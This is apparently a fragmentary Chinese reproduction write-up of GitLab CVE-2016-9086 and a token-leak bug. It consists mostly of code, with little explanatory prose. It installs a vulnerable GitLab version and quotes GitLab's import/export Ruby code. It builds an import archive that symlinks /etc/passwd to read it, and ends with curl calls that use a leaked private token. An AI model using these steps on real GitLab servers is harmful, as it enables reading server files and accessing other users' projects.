GitLab 任意文件读取漏洞 (CVE-2016-9086) 和任意用户 token 泄露漏洞

sudo apt-get install curl openssh-server ca-certificates postfix  
curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.deb.sh | sudo bash  
sudo apt-get install gitlab-ce=8.10.3-ce.1  #版本为8.10.3是为了第二个任意用户authentication_token泄露导致  
漏洞的复现
sudo gitlab-ctl reconfigure  

...def check!  
  version = File.open(version_file, &:readline)
  verify_version!(version)
rescue => e  
  shared.error(e)
  false
end  
...
def verify_version!(version)  
    if Gem::Version.new(version) != Gem::Version.new(Gitlab::ImportExport.version)
        raise Gitlab::ImportExport::Error.new("Import version mismatch: Required #{Gitlab::ImportExport.version} but was #{version}")    
    else
        true
    end
end  
...

ln -sf /etc/passwd VERSION  
tar zcf change_version.tar.gz ./  

...
def restore  
  json = IO.read(@path)
  tree_hash = ActiveSupport::JSON.decode(json)
  project_members = tree_hash.delete('project_members')

  ActiveRecord::Base.no_touching do
    create_relations  
end
rescue => e  
  shared.error(e)
  false
end  
...

ln -sf /etc/passwd project.json  
tar zcf change_version.tar.gz ./  

  def export    
    @project.add_export_job(current_user: current_user)

    redirect_to(
      edit_project_path(@project),
      notice: "Project export started. A download link will be sent by email."
    )
  end

  def add_export_job(current_user:)
    job_id = ProjectExportWorker.perform_async(current_user.id, self.id)

    if job_id      
      Rails.logger.info "Export job started for project ID #{self.id} with job ID #{job_id}"    
    else
      Rails.logger.error "Export job failed to start for project ID #{self.id}"    
    end
  end

class ProjectExportWorker  
  include Sidekiq::Worker

  sidekiq_options queue: :gitlab_shell, retry: 3

  def perform(current_user_id, project_id)
    current_user = User.find(current_user_id)
    project = Project.find(project_id)

    ::Projects::ImportExport::ExportService.new(project, current_user).execute  
  end
end  

module Projects  
  module ImportExport
    class ExportService < BaseService
      def execute(_options = {})
        @shared = Gitlab::ImportExport::Shared.new(relative_path: File.join(project.path_with_namespace, 'work'))
        save_all      
      end

      private      
      
      def save_all        
        if [version_saver, avatar_saver, project_tree_saver, uploads_saver, repo_saver, wiki_repo_saver].all?(&:save)
          Gitlab::ImportExport::Saver.save(project: project, shared: @shared)
          notify_success        
        else
          cleanup_and_notify        
        end
      end

      def version_saver      
      ...
    end
  end
end  

  # Constructs a new hash that will hold the configuration for that particular object  
  # It may include exceptions or other attribute detail configuration, parsed by +@attributes_finder+  
  #  
  # +current_key+ main model that will be a key in the hash  
  # +value+ existing model to be included in the hash  
  # +json_config_hash+ the original hash containing the root model  
  def create_model_value(current_key, value, json_config_hash)
    parsed_hash = { include: value }
    parse_hash(value, parsed_hash)

    json_config_hash[current_key] = parsed_hash  
  end

  # Calls attributes finder to parse the hash and add any attributes to it  
  #  
  # +value+ existing model to be included in the hash  
  # +parsed_hash+ the original hash  
  def parse_hash(value, parsed_hash)
    @attributes_finder.parse(value) do |hash|
      parsed_hash = { include: hash_or_merge(value, hash) }
    end
  end

curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects"  

curl -H "PRIVATE-TOKEN: wTPMMapDwpfkKfNws7xp" "http://domain/api/v3/projects/18/repository/files?file_path=README.md&ref=master"